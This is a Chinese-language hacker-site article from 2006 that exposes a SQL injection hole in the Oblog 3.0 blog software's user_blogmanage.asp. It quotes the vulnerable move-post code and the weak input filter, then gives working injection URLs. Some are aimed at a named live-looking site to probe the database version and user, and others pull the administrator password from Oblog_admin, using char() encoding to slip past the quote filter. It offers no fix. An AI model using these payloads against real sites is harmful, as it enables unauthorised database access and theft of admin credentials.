| 这儿有个窟窿:Oblog3.0漏洞曝光 (1) |
|
|
|
作者:佚名 文章来源:不详 点击数: 更新时间:2006-12-6 0:56:11  |
这儿有个窟窿:Oblog3.0漏洞曝光 (1) 这儿有个窟窿:Oblog3.0漏洞曝光 (1) 看过第六轮黑防实验室的两位大侠对Oblog3.0 Access版本的渗透过程,敬佩之情犹如滔滔江水连绵不绝,又如黄河之水一发而不可收拾,尤其是他们把社会工程学原理利用得淋漓尽致,以及巧妙的后台上传shell的方法。佩服,佩服。说了这么多废话,我们进入正题,本人在通读Oblog3.0代码的时候发现user_blogmanage.asp文件存在安全隐患,看看下面移动blog日志的操作代码: sub moveblog() if id="" then Oblog.adderrstr("请指定要移动的日志") Oblog.showusererr exit sub end if dim subjectid subjectid=trim(request("subject")) if subjectid="" then Oblog.adderrstr("请指定要移动的目标专题") Oblog.showusererr exit sub else subjectid=Clng(subjectid) end if if instr(id,",")>0 then ‘如果id变量中含有逗号,去掉变量中的空格,执行下面的sql语句。设为第一条 id=replace(id," ","") sql="Update [Oblog_log] set subjectid="&subjectid&" where logid in (" & id & ")"&wsql ‘否则执行这个sql语句,设为第二条。 else sql="Update [Oblog_log] set subjectid="&subjectid&" where logid=" & id &wsql end if Oblog.Execute sql dim blog,rs1 set blog=new class_blog blog.userid=Oblog.logined_uid blog.update_allsubjectid() blog.update_index_subject 0,0,0,"" set blog=nothing set rs=Oblog.execute("select subjectid from Oblog_subject where userid="&Oblog.logined_uid) while not rs.eof set rs1=Oblog.execute("select count(logid) from Oblog_log where Oblog_log.subjectid="&rs(0)) Oblog.execute("update Oblog_subject set subjectlognum="&rs1(0)&" where Oblog _subject.subjectid="&rs(0)) rs.movenext wend set rs=nothing set rs1=nothing Oblog.showok "更新专题成功,需要重新发布首页,才可使专题统计准确!","" end sub 再看看文件最上面对id变量的过滤:id=Oblog.filt_badstr(trim(Request("id"))),只用了这条语句,函数代码如下: public function filt_badstr(str) If Isnull(Str) Then filt_badstr = "" Exit Function End If Str = Replace(Str,Chr(0),"") filt_badstr = Replace(Str,"'","''") end function 只去掉了\0和单引号,呵呵,这怎能阻止我们的注入攻击呢,找个使用Oblog3.0 SQL版本的站点牛刀小试一下:构造环境测试语句:http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=@@version)--,一定要注意语句最后面的”’”,否则不会成功的。 以上注入我们选择的是第一条语句,多了限制条件,就是不能使用空格且提交的语句中要含有逗号。我们可以使用/**/来代替空格。由于限制条件多,以下测试中我们控制程序执行第二条语句。进一步环境刺探: http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_name()>0-- 0">http://www.boyqs.bloger.com.cn/user_blogmanage.asp?action=Move&subject=1&id=1%20and%20db_user>0--。 嘿嘿,测试成功,由于注入语句中不能包含单引号,身经百战的我们当然很容易饶过这条限制,我喜欢使用SQL中的char函数饶过,正好手头有研究动易系统时写的char编码工具,先看看Oblog数据库的表结构,在Oblog_admin表中我们感兴趣的只有id,username和password字段,先暴出admin用户或者id唯一的管理员账号的密码来瞧瞧: http://www.target.com/user_blogmanage.asp? action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where id=1)--或者 http://www.target.com/user_blogmanage.asp? action=Move&subject=1&id=1 and 1=(select password from Oblog_admin where username=char(0x61)%2Bchar(0x64)%2Bchar(0x6d) %2Bchar(0x69)%2Bchar(0x6e))--
|
| 文章录入:wuyongjian 责任编辑:wuyongjian |
|
上一篇文章: Dump Hash From Windows 2003 下一篇文章: 新手看招:最经典的黑客技术入门知识 (3) |
| 【字体:小 大】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口】 |